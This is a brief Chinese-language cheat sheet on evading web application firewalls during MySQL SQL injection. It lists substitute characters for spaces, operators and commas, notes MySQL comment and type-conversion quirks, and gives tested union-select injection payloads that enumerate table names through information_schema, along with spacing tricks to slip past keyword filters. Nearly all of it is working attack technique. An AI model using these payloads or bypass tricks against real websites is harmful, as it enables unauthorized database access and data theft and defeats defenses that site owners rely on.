等价字符
空格:%20,+,(),%0a,%09,%a0,%0b,%0c,%0d,/**/等
=:like,regexp,liker,<>,! =等
and:&&
or:xor &,^,||(and或or可以相互替换,只有两边条件不同)
逗号:盲注中from 1 for 1,联合查询中A join B
mysql特性
=,:=,@
mysql中“=”为等于的意思,只有在update set时为赋值的意思
“:=”为复制的意思
在mysql中变量不需要定义,利用@变量名就直接调用
注释符
在mysql中可以使用的注释符有:
/**/用于多行注释
-- (空格),#
mysql中独有的一个特性,注释符中叹号后边的内容就还可以解析,比如/*!and*/,并且叹号后边的数据小于或等于mysql版本号的话同样会解析
换行在mysql中换行后还是会执行
mysql的隐式类型装换
当操作符与不同类型的操作数一起使用时,会发生类型转换以使操作数兼容。则会发生转换隐式
实测:
payload:
-1' union--+x%0aselect 1,2,3--+
接下来读取数据库数据
-1' union--+x%0aselect 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
发现被拦截,fuzz发现waf会过滤掉函数,以及group_concat(table_name) from,这里去掉from前的空格,database()=>database () 或 database/**/()。